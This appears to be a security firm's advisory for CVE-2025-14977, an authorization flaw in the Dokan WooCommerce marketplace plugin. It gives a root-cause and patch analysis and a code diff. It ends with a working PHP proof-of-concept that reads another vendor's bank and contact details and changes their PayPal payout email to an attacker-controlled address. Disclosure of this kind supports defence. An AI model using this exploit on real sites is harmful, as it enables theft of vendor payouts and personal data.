Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-14977: Dokan: AI Powered WooCommerce Multivendor Marketplace Solution – Build Your Own Amazon, eBay, Etsy <= 4.2.4 – Insecure Direct Object Reference to PayPal Account Takeover and Sensitive Information Disclosure (dokan-lite)

Plugin dokan-lite
Severity High (CVSS 8.1)
CWE 284
Vulnerable Version 4.2.4
Patched Version 4.2.5
Disclosed January 18, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-14977:
The vulnerability is an Insecure Direct Object Reference (IDOR) in the Dokan plugin’s REST API endpoint `/wp-json/dokan/v1/settings`. It allows authenticated attackers with customer-level permissions or higher to read and modify other vendors’ store settings, including sensitive payment information and personal data. The flaw exists due to missing authorization checks on the user-controlled `vendor_id` parameter in version 4.2.4 and earlier.

Root Cause:
The vulnerability originates in the `StoreSettingController::update_settings()` method at `dokan-lite/includes/REST/StoreSettingController.php`. This method directly used the user-supplied `vendor_id` parameter from the request without proper authorization validation. The `update_store_permissions_check()` method in `StoreController.php` only performed basic role checks, comparing the current user ID against the requested ID. This failed to account for vendor staff relationships and did not prevent users from accessing other vendors’ data. The `get_vendor()` helper method in `StoreSettingController.php` returned vendor objects based solely on the request parameter.

Exploitation:
An attacker with a valid WordPress authentication cookie (customer role or higher) sends a PUT request to `/wp-json/dokan/v1/settings` with a `vendor_id` parameter set to another vendor’s ID. The request body can contain modified store settings including `payment` fields with PayPal email, bank details, or other sensitive information. For information disclosure, a GET request to the same endpoint with a target `vendor_id` returns the vendor’s complete store settings, including payment details, addresses, and phone numbers.

Patch Analysis:
The patch introduces a new `VendorAuthorizable` trait with comprehensive authorization logic. The `StoreSettingController` now extends `StoreController` and delegates to its `update_store()` and `get_store()` methods. The `get_vendor_id_for_user()` method resolves vendor IDs for both vendor owners and staff members. The `can_access_vendor_store()` method enforces strict access control based on user roles and vendor relationships. The patch adds `get_restricted_fields_for_view()` and `get_restricted_fields_for_update()` methods to filter sensitive data based on authorization level.

Impact:
Successful exploitation allows attackers to redirect vendor payouts to attacker-controlled PayPal accounts, leading to financial theft. Attackers can also obtain sensitive banking information (account numbers, routing numbers, IBAN, SWIFT codes), personal contact details, and store configuration data. This enables both financial fraud and potential follow-on attacks using the stolen information.

Differential between vulnerable and patched code

Code Diff
--- a/dokan-lite/assets/js/core-store.asset.php
+++ b/dokan-lite/assets/js/core-store.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('wp-api-fetch', 'wp-core-data', 'wp-data'), 'version' => '16d95b2a30911314f3eb');
+<?php return array('dependencies' => array('wp-api-fetch', 'wp-core-data', 'wp-data'), 'version' => '8be2505d65c96d2790ca');
--- a/dokan-lite/dokan-class.php
+++ b/dokan-lite/dokan-class.php
@@ -25,7 +25,7 @@
      *
      * @var string
      */
-    public $version = '4.2.4';
+    public $version = '4.2.5';

     /**
      * Instance of self
--- a/dokan-lite/dokan.php
+++ b/dokan-lite/dokan.php
@@ -3,7 +3,7 @@
  * Plugin Name: Dokan
  * Plugin URI: https://dokan.co/wordpress/
  * Description: An e-commerce marketplace plugin for WordPress. Powered by WooCommerce and weDevs.
- * Version: 4.2.4
+ * Version: 4.2.5
  * Author: Dokan Inc.
  * Author URI: https://dokan.co/wordpress/
  * Text Domain: dokan-lite
--- a/dokan-lite/includes/DependencyManagement/Providers/CommonServiceProvider.php
+++ b/dokan-lite/includes/DependencyManagement/Providers/CommonServiceProvider.php
@@ -25,6 +25,7 @@
         WeDevsDokanOrderRefundHandler::class,
         WeDevsDokanExceptionsHandler::class,
         WeDevsDokanShortcodesFullWidthVendorLayout::class,
+        WeDevsDokanVendorApiMeta::class,
 	];

 	/**
--- a/dokan-lite/includes/REST/StoreController.php
+++ b/dokan-lite/includes/REST/StoreController.php
@@ -2,6 +2,7 @@

 namespace WeDevsDokanREST;

+use WeDevsDokanTraitsVendorAuthorizable;
 use WeDevsDokanVendorVendor;
 use WP_Error;
 use WP_Query;
@@ -18,6 +19,7 @@
  * @author weDevs <info@wedevs.com>
  */
 class StoreController extends WP_REST_Controller {
+    use VendorAuthorizable;

     /**
      * Endpoint namespace
@@ -62,7 +64,7 @@
                         'description'       => __( 'Unique identifier for the object.', 'dokan-lite' ),
                         'type'              => 'integer',
                         'sanitize_callback' => 'absint',
-                        'validate_callback' => 'dokan_rest_validate_store_id',
+                        'validate_callback' => [ $this, 'validate_store_id' ],
                     ],
                 ],
                 [
@@ -304,6 +306,12 @@
     /**
      * Get singe store
      *
+     * Public endpoint: Returns public data for all users/guests (respecting admin settings).
+     * Sensitive data is only returned for authorized users (vendor, vendor staff, or admin).
+     *
+     * For vendor staff accessing via their own ID, the vendor ID is resolved to show their vendor's store.
+     * Vendors and vendor staff attempting to access another vendor's store will be blocked (403).
+     *
      * @since 1.0.0
      *
      * @param $request
@@ -311,9 +319,18 @@
      * @return WP_Error|WP_REST_Response
      */
     public function get_store( $request ) {
-        $store_id = (int) $request['id'];
+        $requested_id = absint( $request->get_param( 'id' ) );

-        $store = dokan()->vendor->get( $store_id );
+        $store_id = $this->get_vendor_id_for_user( $requested_id );
+		$store = dokan()->vendor->get( $store_id );
+
+        if ( ! $store || ! $store->get_id() ) {
+            return new WP_Error(
+                'dokan_rest_store_not_found',
+                __( 'Store not found.', 'dokan-lite' ),
+                [ 'status' => 404 ]
+            );
+        }

         $stores_data = $this->prepare_item_for_response( $store, $request );
         $response    = rest_ensure_response( $stores_data );
@@ -357,13 +374,12 @@
      * @return bool
      */
     public function update_store_permissions_check( $request ) {
-        if ( current_user_can( 'manage_woocommerce' ) ) {
-            return true;
-        }
+        $requested_id = absint( $request->get_param( 'id' ) );

-        if ( current_user_can( 'dokandar' ) ) {
-            return dokan_get_current_user_id() === absint( $request->get_param( 'id' ) );
-        }
+        // Resolve vendor ID: handles both vendor IDs and vendor staff IDs
+        $store_id = $this->get_vendor_id_for_user( $requested_id );
+
+        return $this->can_access_vendor_store( $store_id );
     }

     /**
@@ -376,17 +392,54 @@
      * @return WP_Error|WP_REST_Response
      */
     public function update_store( $request ) {
-        $store = dokan()->vendor->get( (int) $request->get_param( 'id' ) );
+        $requested_id = absint( $request->get_param( 'id' ) );

-        $params   = $request->get_params();
-        $store_id = dokan()->vendor->update( $store->get_id(), $params );
+        // Resolve vendor ID: handles both vendor IDs and vendor staff IDs
+        $store_id = $this->get_vendor_id_for_user( $requested_id );

-        if ( is_wp_error( $store_id ) ) {
-            return new WP_Error( $store_id->get_error_code(), $store_id->get_error_message() );
+        if ( ! $store_id ) {
+            return new WP_Error(
+                'dokan_rest_store_not_found',
+                __( 'Store not found.', 'dokan-lite' ),
+                [ 'status' => 404 ]
+            );
         }

         $store = dokan()->vendor->get( $store_id );

+        if ( ! $store || ! $store->get_id() ) {
+            return new WP_Error(
+                'dokan_rest_store_not_found',
+                __( 'Store not found.', 'dokan-lite' ),
+                [ 'status' => 404 ]
+            );
+        }
+        if ( ! $this->can_access_vendor_store( $store->get_id() ) ) {
+            return new WP_Error(
+                'dokan_rest_store_cannot_access',
+                __( 'You do not have permission to access this store.', 'dokan-lite' ),
+                [ 'status' => 403 ]
+            );
+        }
+
+        $params = $request->get_params();
+
+        $restricted_fields = $this->get_restricted_fields_for_update( $store, $request );
+
+		foreach ( $restricted_fields as $field ) {
+			if ( isset( $params[ $field ] ) ) {
+				unset( $params[ $field ] );
+			}
+		}
+
+        $updated_store_id = dokan()->vendor->update( $store->get_id(), $params );
+
+        if ( is_wp_error( $updated_store_id ) ) {
+            return new WP_Error( $updated_store_id->get_error_code(), $updated_store_id->get_error_message() );
+        }
+
+        $store = dokan()->vendor->get( $updated_store_id );
+
         do_action( 'dokan_rest_stores_update_store', $store, $request );

         $stores_data = $this->prepare_item_for_response( $store, $request );
@@ -396,6 +449,43 @@
     }

     /**
+     * Get restricted fields for store update based on user role.
+     *
+     * @since 4.2.5
+     *
+     * @param WeDevsDokanVendorVendor $store Store object.
+     * @param WP_REST_Request $request Request object.
+     *
+     * @return array Array of restricted field names.
+     */
+    protected function get_restricted_fields_for_update( $store, $request ) {
+        $is_admin = current_user_can( 'manage_options' );
+        $is_vendor = dokan_is_user_seller( get_current_user_id(), true );
+        $restricted_fields = [];
+
+        if ( ! $is_admin && ! $is_vendor ) {
+            $staff_restricted_fields = [
+                'email',
+                'password',
+            ];
+            array_push( $restricted_fields, ...$staff_restricted_fields );
+        }
+
+        if ( ! $is_admin ) {
+            $vendor_restricted_fields = [
+                'dokan_admin_percentage',
+                'dokan_admin_percentage_type',
+                'dokan_admin_additional_fee',
+                'admin_category_commission',
+            ];
+
+            array_push( $restricted_fields, ...$vendor_restricted_fields );
+        }
+
+        return apply_filters( 'dokan_rest_store_restricted_fields_for_update', $restricted_fields, $store, $request );
+    }
+
+    /**
      * Create store
      *
      * @param $request
@@ -623,22 +713,35 @@
     /**
      * Prepare a single user output for response
      *
+     * Public data is returned for all users/guests (respecting admin settings for hiding vendor info).
+     * Sensitive data is only returned for authorized users (vendor, vendor staff, or admin).
+     *
      * @param Vendor $store
      * @param WP_REST_Request $request Request object.
      * @param array $additional_fields (optional)
+     * @param bool $is_authorized (optional) Whether the current user is authorized to view sensitive data.
      *
      * @return WP_REST_Response $response Response data.
      */
     public function prepare_item_for_response( $store, $request, $additional_fields = [] ) {
         $data = $store->to_array();

-        $commission_settings               = $store->get_commission_settings();
-        $data['admin_category_commission'] = $commission_settings->get_category_commissions();
-        $data['admin_commission']          = $commission_settings->get_percentage();
-        $data['admin_additional_fee']      = $commission_settings->get_flat();
-        $data['admin_commission_type']     = $commission_settings->get_type();
+        $is_authorized = $this->can_access_vendor_store( $store->get_id() );

-        $data     = array_merge( $data, apply_filters( 'dokan_rest_store_additional_fields', $additional_fields, $store, $request ) );
+        if ( $is_authorized ) {
+            $data['admin_category_commission'] = $store->get_commission_settings()->get_category_commissions();
+            $data['admin_commission'] = $store->get_commission_settings()->get_percentage();
+            $data['admin_additional_fee'] = $store->get_commission_settings()->get_flat();
+            $data['admin_commission_type'] = $store->get_commission_settings()->get_type();
+        }
+
+        $restricted_fields = $this->get_restricted_fields_for_view( $store, $request );
+
+        foreach ( $restricted_fields as $field ) {
+            unset( $data[ $field ] );
+        }
+
+        $data     = array_merge( $data, apply_filters( 'dokan_rest_store_additional_fields', $additional_fields, $store, $request, $is_authorized ) );
         $response = rest_ensure_response( $data );
         $response->add_links( $this->prepare_links( $data, $request ) );

@@ -646,6 +749,61 @@
     }

     /**
+     * Get restricted fields for store view based on user authorization.
+     *
+     * Determines which fields should be hidden from the store data response based on:
+     * - User authorization status (authorized users see more data)
+     * - User role (vendor staff cannot see admin commission data)
+     * - Admin settings (for hiding vendor info like address, phone, email)
+     * - Vendor preferences (vendor can choose to hide email)
+     *
+     * @since 4.2.5
+     *
+     * @param WeDevsDokanVendorVendor $store Store object.
+     * @param WP_REST_Request $request Request object.
+     *
+     * @return array Array of restricted field names that should be removed from the response.
+     */
+    protected function get_restricted_fields_for_view( $store, $request ) {
+        $restricted_fields = [];
+
+        $is_authorized = $this->can_access_vendor_store( $store->get_id() );
+
+        $is_admin = current_user_can( 'manage_options' );
+
+        // Restrict admin commission fields for all except admins and vendor only
+        if ( ! $is_admin && ! dokan_is_user_seller( get_current_user_id(), true ) ) {
+            $restricted_fields[] = 'admin_category_commission';
+            $restricted_fields[] = 'admin_commission';
+            $restricted_fields[] = 'admin_additional_fee';
+            $restricted_fields[] = 'admin_commission_type';
+        }
+
+        // Additional restrictions for unauthorized users (public access)
+        if ( ! $is_authorized ) {
+            // Respect admin settings for hiding vendor info
+            if ( dokan_is_vendor_info_hidden( 'address' ) ) {
+                $restricted_fields[] = 'address';
+            }
+
+            if ( dokan_is_vendor_info_hidden( 'phone' ) ) {
+                $restricted_fields[] = 'phone';
+            }
+
+            // Hide email if admin setting hides it OR vendor doesn't want to show it
+            if ( dokan_is_vendor_info_hidden( 'email' ) || ! $store->show_email() ) {
+                $restricted_fields[] = 'email';
+            }
+
+            // Always hide sensitive payment and store status data from public
+            $restricted_fields[] = 'payment';
+            $restricted_fields[] = 'enabled';
+        }
+
+        return apply_filters( 'dokan_rest_store_restricted_fields_for_view', $restricted_fields, $store, $request );
+    }
+
+    /**
      * Prepare a single user output for response
      *
      * @param object $item
--- a/dokan-lite/includes/REST/StoreSettingController.php
+++ b/dokan-lite/includes/REST/StoreSettingController.php
@@ -9,12 +9,11 @@

 /**
  * StoreSettings API Controller
- *
  * @package dokan
  *
  * @author weDevs <info@wedevs.com>
  */
-class StoreSettingController extends WP_REST_Controller {
+class StoreSettingController extends StoreController {
     /**
      * Endpoint namespace
      *
@@ -83,44 +82,31 @@
      * @return WP_Error|WP_REST_Response
      */
     public function update_settings( $request ) {
-        $vendor   = $this->get_vendor( $request );
-        $params   = $request->get_params();
-        $store_id = dokan()->vendor->update( $vendor->get_id(), $params );
+        $vendor_id = (int) $request->get_param( 'vendor_id' );
+        $request->set_param( 'id', $vendor_id );
+        $response = parent::update_store( $request );

-        if ( is_wp_error( $store_id ) ) {
-            return new WP_Error( $store_id->get_error_code(), $store_id->get_error_message() );
+        if ( is_wp_error( $response ) ) {
+            return $response;
         }

-        $store = dokan()->vendor->get( $store_id );
+        $store = dokan()->vendor->get( $vendor_id );

         do_action( 'dokan_rest_store_settings_after_update', $store, $request );

-        $stores_data = $this->prepare_item_for_response( $store, $request );
-        $response    = rest_ensure_response( $stores_data );
-
         return $response;
     }

     /**
-     * @param $request
+     * @param WP_REST_Request $request
      *
      * @return mixed|WP_Error|WP_HTTP_Response|WP_REST_Response
      */
     public function get_settings( $request ) {
-        $vendor   = $this->get_vendor( $request );
-        $response = dokan_get_store_info( $vendor->id );
-
-        $methods_data = dokan_get_container()->get( 'dashboard' )->templates->settings->get_seller_payment_methods( $vendor->get_id() );
-
-        $response['bank_payment_required_fields'] = dokan_bank_payment_required_fields();
-        $response['active_payment_methods']       = $methods_data['active_methods'] ?? [];
-        $response['connected_methods']            = $methods_data['connected_methods'] ?? [];
-        $response['disconnected_methods']         = $methods_data['disconnected_methods'] ?? [];
-        $response['withdraw_options']             = dokan_withdraw_get_methods();
-        $response['fields_placeholders']          = dokan_bank_payment_fields_placeholders();
-        $response['chargeable_methods']           = dokan_withdraw_get_chargeable_methods();
+        $vendor_id = (int) $request->get_param( 'vendor_id' );
+        $request->set_param( 'id', $vendor_id );

-        return rest_ensure_response( $response );
+        return parent::get_store( $request );
     }

     /**
@@ -199,7 +185,8 @@
      * @return WP_REST_Response $response Response data.
      */
     public function prepare_item_for_response( $store, $request, $additional_fields = [] ) {
-        $data     = $store->to_array();
+        $response = parent::prepare_item_for_response( $store, $request, $additional_fields );
+        $data = $response->get_data();
         $data     = array_merge( $data, apply_filters( 'dokan_rest_store_settings_additional_fields', $additional_fields, $store, $request ) );
         $response = rest_ensure_response( $data );
         $response->add_links( $this->prepare_links( $data, $request ) );
--- a/dokan-lite/includes/Traits/VendorAuthorizable.php
+++ b/dokan-lite/includes/Traits/VendorAuthorizable.php
@@ -2,7 +2,10 @@

 namespace WeDevsDokanTraits;

+use WeDevsDokanUtilitiesVendorUtil;
+
 trait VendorAuthorizable {
+
     /**
      * Check if user has vendor permission.
      *
@@ -13,4 +16,110 @@
     public function check_permission() {
         return current_user_can( 'dokandar' );
     }
+
+    /**
+     * Check whether the current user is authorized to access a vendor store.
+     *
+     * This method determines authorization based on user role:
+     * - Admins: Can access any vendor (including invalid vendor IDs for proper error handling)
+     * - Vendors: Can access only their own store
+     * - Vendor staff: Can access only their assigned vendor store
+     * - Others: Cannot access any vendor store
+     *
+     *  @since 4.2.5
+     *
+     * @param int $vendor_id Vendor user ID.
+     * @param int $user_id Optional. User ID. Defaults to current user.
+     *
+     * @return bool True if authorized, false otherwise.
+     */
+    public function can_access_vendor_store( int $vendor_id, int $user_id = 0 ): bool {
+        if ( empty( $user_id ) ) {
+            $user_id = get_current_user_id();
+        }
+
+        // Admins can access any vendor (including invalid ones for proper error handling)
+        if ( user_can( $user_id, 'manage_woocommerce' ) ) {
+            return true;
+        }
+
+        // Non-admin users cannot access stores with invalid vendor ID
+        if ( ! $vendor_id ) {
+            return false;
+        }
+
+        $current_user_id = $this->get_vendor_id_for_user( $user_id );
+
+        if ( dokan_is_user_seller( $current_user_id ) ) {
+            return (int) $current_user_id === (int) $vendor_id;
+        }
+
+        return false;
+    }
+
+    /**
+     * Get the vendor/store ID associated with a user.
+     *
+     * This method delegates to VendorUtil::get_vendor_id_for_user().
+     * It determines the vendor ID based on the user's role:
+     * - Vendors: Returns their own user ID as the vendor ID
+     * - Vendor staff: Returns their parent vendor's ID (stored in user meta)
+     * - Other users: Returns 0 if not associated with any vendor
+     *
+     *  @since 4.2.5
+     *
+     * @param int $user_id Optional. The user ID to get the vendor ID for. Defaults to 0 (current user).
+     *
+     * @return int The vendor/store ID. Returns 0 if the user is not a vendor or vendor staff,
+     *             or if vendor ID cannot be determined.
+     */
+    public function get_vendor_id_for_user( int $user_id = 0 ): int {
+        return VendorUtil::get_vendor_id_for_user( $user_id );
+    }
+
+    /**
+     * Validate if a user ID represents a valid vendor or vendor staff member.
+     *
+     * This method checks if the given ID belongs to:
+     * - A valid vendor user, or
+     * - A vendor staff member with a valid associated vendor.
+     *
+     * Used for REST API validation callbacks. The validation ensures that:
+     * - The provided value is greater than 0
+     * - The vendor ID resolved from the value is greater than 0
+     *
+     *  @since 4.2.5
+     *
+     * @param mixed          $value   The value to validate (typically a user ID).
+     * @param WP_REST_Request $request The REST API request object.
+     * @param string         $key     The parameter key being validated.
+     *
+     * @return bool|WP_Error True if valid, WP_Error with status 400 if invalid.
+     */
+    public function validate_store_id( $value, $request, $key ) {
+        $vendor_id = $this->get_vendor_id_for_user( $value );
+
+        // Validate that the vendor ID is a valid store/vendor.
+        // $vendor_id is fetched via get_vendor_id_for_user: for vendors, it's their own ID; for vendor staff, it's their parent vendor's ID.
+        // If both $value and $vendor_id are > 0, the ID is considered valid and belongs to a store/vendor.
+        // Otherwise, return a WP_Error indicating the store was not found.
+        if ( $value > 0 && $vendor_id > 0 ) {
+            return true;
+        }
+
+        // translators: 1) rest api endpoint key name
+        return new WP_Error( 'rest_invalid_param', sprintf( esc_html__( 'No store found with given store id', 'dokan-lite' ), $key ), [ 'status' => 400 ] );
+    }
+
+    /**
+     * Check if a user is vendor staff (not a vendor owner).
+     *
+     * @since 4.2.5
+     *
+     * @param int $user_id User ID to check.
+     * @return bool True if user is vendor staff but not a vendor owner.
+     */
+    public function is_staff_only( int $user_id ): bool {
+        return ! dokan_is_user_seller( $user_id, true ) && dokan_is_user_seller( $user_id );
+    }
 }
--- a/dokan-lite/includes/Utilities/VendorUtil.php
+++ b/dokan-lite/includes/Utilities/VendorUtil.php
@@ -8,7 +8,7 @@
      *
      * @since 4.0.6
      *
-     * @return void
+     * @return string The default store banner URL.
      */
     public static function get_vendor_default_banner_url(): string {
         // Define the default store banner URL from plugin assets
@@ -52,4 +52,38 @@
          */
         return apply_filters( 'dokan_get_vendor_default_avatar_url', $avatar_url );
     }
+
+
+    /**
+     * Get the vendor/store ID associated with a user.
+     *
+     * This method determines the vendor ID based on the user's role:
+     * - Vendors: Returns their own user ID as the vendor ID
+     * - Vendor staff: Returns their parent vendor's ID (stored in user meta)
+     * - Other users: Returns 0 if not associated with any vendor
+     *
+     * @since 4.2.5
+     *
+     * @param int $user_id Optional. The user ID to get the vendor ID for. Defaults to 0 (current user).
+     *
+     * @return int The vendor/store ID. Returns 0 if the user is not a vendor or vendor staff,
+     *             or if vendor ID cannot be determined.
+     */
+    public static function get_vendor_id_for_user( int $user_id = 0 ): int {
+        if ( empty( $user_id ) ) {
+            $user_id = dokan_get_current_user_id();
+        }
+
+        if ( dokan_is_user_seller( $user_id, true ) ) {
+            return (int) $user_id;
+        }
+
+        if ( user_can( $user_id, 'vendor_staff' ) ) {
+            $vendor_id = (int) get_user_meta( $user_id, '_vendor_id', true );
+
+            return $vendor_id;
+        }
+
+        return 0;
+    }
 }
--- a/dokan-lite/includes/Vendor/ApiMeta.php
+++ b/dokan-lite/includes/Vendor/ApiMeta.php
@@ -0,0 +1,100 @@
+<?php
+
+namespace WeDevsDokanVendor;
+
+use WeDevsDokanUtilitiesVendorUtil;
+
+/**
+ * ApiMeta Class.
+ *
+ * Handles Dokan vendor user meta registration for the REST API.
+ */
+class ApiMeta {
+	/**
+	 * Constructor.
+	 */
+	public function __construct() {
+		add_action( 'rest_api_init', array( $this, 'register_user_data' ) );
+	}
+
+	/**
+	 * Registers Dokan specific user data to the WordPress user API.
+	 *
+	 * @since 4.2.5
+	 *
+	 * @return void
+	 */
+	public function register_user_data() {
+		register_rest_field(
+			'user',
+			'dokan_meta',
+			array(
+				'get_callback'    => array( $this, 'get_user_data_values' ),
+				'schema'          => null,
+			)
+		);
+	}
+
+	/**
+	 * Fetches the vendor-specific user data values for returning via the REST API.
+	 *
+	 * @since 4.2.5
+	 *
+	 * @param array $user Current user data from REST API.
+	 * @return array Vendor-specific user data including vendor_id.
+	 */
+	public function get_user_data_values( $user ) {
+		$values = [
+            'vendor_id' => VendorUtil::get_vendor_id_for_user( (int) $user['id'] ),
+        ];
+
+		foreach ( $this->get_user_data_fields() as $field ) {
+			$values[ $field ] = self::get_user_data_field( $user['id'], $field );
+		}
+
+		/**
+		 * Filter the user data values exposed over the WordPress user endpoint.
+		 *
+		 * @since 4.2.5
+		 *
+		 * @param array $values Array of user data values.
+		 * @param array $user Current user data from REST API.
+		 */
+		return apply_filters( 'dokan_vendor_api_meta_get_user_data_values', $values, $user );
+	}
+
+	/**
+	 * We store some Dokan specific user meta attached to users endpoint,
+	 * so that we can track certain preferences or values for vendors.
+	 * Additional fields can be added in the function below, and then used via Dokan's currentUser data.
+	 *
+	 * @since 4.2.5
+	 *
+	 * @return array Fields to expose over the WP user endpoint.
+	 */
+	public function get_user_data_fields() {
+		/**
+		 * Filter user data fields exposed over the WordPress user endpoint.
+		 *
+		 * @since 4.2.5
+		 *
+		 * @param array $fields Array of fields to expose over the WP user endpoint.
+		 */
+		return apply_filters( 'dokan_vendor_get_user_data_fields', [] );
+	}
+
+	/**
+	 * Helper to retrieve user data fields.
+	 *
+	 * @since 4.2.5
+	 *
+	 * @param int    $user_id  User ID.
+	 * @param string $field Field name.
+	 * @return mixed The user field value.
+	 */
+	public static function get_user_data_field( $user_id, $field ) {
+		$meta_value = get_user_meta( $user_id, $field, true );
+
+		return $meta_value;
+	}
+}
--- a/dokan-lite/templates/whats-new.php
+++ b/dokan-lite/templates/whats-new.php
@@ -4,6 +4,26 @@
  */
 $changelog = [
     [
+        'version'  => 'Version 4.2.5',
+        'released' => '2026-01-05',
+        'changes'  => [
+            'Fix' => [
+                [
+                    'title'       => 'Add translation support to store performance report labels.',
+                    'description' => '',
+                ],
+                [
+                    'title'       => 'Social profile URL's not accessible for staff users.',
+                    'description' => '',
+                ],
+                [
+                    'title'       => 'Prevented unauthorized changes to administrator accounts.',
+                    'description' => '',
+                ],
+            ],
+        ],
+    ],
+    [
         'version'  => 'Version 4.2.4',
         'released' => '2025-12-26',
         'changes'  => [
--- a/dokan-lite/vendor/composer/installed.php
+++ b/dokan-lite/vendor/composer/installed.php
@@ -1,9 +1,9 @@
 <?php return array(
     'root' => array(
         'name' => 'wedevs/dokan',
-        'pretty_version' => 'v4.2.4',
-        'version' => '4.2.4.0',
-        'reference' => 'f34d37f97c9a106de60346ddfaae03d583e6f3f3',
+        'pretty_version' => 'v4.2.5',
+        'version' => '4.2.5.0',
+        'reference' => 'bf1546db5c2b5351e102de6d1af7cb09cb1bf20a',
         'type' => 'wordpress-plugin',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -38,9 +38,9 @@
             'dev_requirement' => false,
         ),
         'wedevs/dokan' => array(
-            'pretty_version' => 'v4.2.4',
-            'version' => '4.2.4.0',
-            'reference' => 'f34d37f97c9a106de60346ddfaae03d583e6f3f3',
+            'pretty_version' => 'v4.2.5',
+            'version' => '4.2.5.0',
+            'reference' => 'bf1546db5c2b5351e102de6d1af7cb09cb1bf20a',
             'type' => 'wordpress-plugin',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-14977 - Dokan: AI Powered WooCommerce Multivendor Marketplace Solution – Build Your Own Amazon, eBay, Etsy <= 4.2.4 - Insecure Direct Object Reference to PayPal Account Takeover and Sensitive Information Disclosure

<?php
// Configuration
$target_url = 'https://vulnerable-site.com';
$cookie = 'wordpress_logged_in_abc=...'; // Valid WordPress authentication cookie
$attacker_paypal = 'attacker@example.com';
$target_vendor_id = 123; // ID of vendor to attack

// Step 1: Read target vendor's sensitive information
$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $target_url . '/wp-json/dokan/v1/settings?vendor_id=' . $target_vendor_id,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_HTTPHEADER => [
        'Cookie: ' . $cookie,
        'Content-Type: application/json'
    ],
    CURLOPT_SSL_VERIFYPEER => false,
    CURLOPT_SSL_VERIFYHOST => false
]);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

if ($http_code === 200) {
    $data = json_decode($response, true);
    echo "[+] Successfully retrieved vendor data:n";
    echo "    PayPal email: " . ($data['payment']['paypal']['email'] ?? 'Not found') . "n";
    echo "    Bank account: " . ($data['payment']['bank']['ac_number'] ?? 'Not found') . "n";
    echo "    Phone: " . ($data['phone'] ?? 'Not found') . "n";
    echo "    Address: " . ($data['address']['street_1'] ?? 'Not found') . "n";
} else {
    echo "[-] Failed to read vendor data. HTTP code: $http_coden";
    echo "    Response: $responsen";
    exit(1);
}

// Step 2: Modify vendor's PayPal email to attacker-controlled address
$payload = json_encode([
    'payment' => [
        'paypal' => [
            'email' => $attacker_paypal
        ]
    ]
]);

curl_setopt_array($ch, [
    CURLOPT_URL => $target_url . '/wp-json/dokan/v1/settings?vendor_id=' . $target_vendor_id,
    CURLOPT_CUSTOMREQUEST => 'PUT',
    CURLOPT_POSTFIELDS => $payload,
    CURLOPT_HTTPHEADER => [
        'Cookie: ' . $cookie,
        'Content-Type: application/json'
    ]
]);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

if ($http_code === 200) {
    echo "[+] Successfully changed PayPal email to $attacker_paypaln";
    echo "    Future payouts will be sent to attacker-controlled account.n";
} else {
    echo "[-] Failed to modify vendor settings. HTTP code: $http_coden";
    echo "    Response: $responsen";
}

curl_close($ch);
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School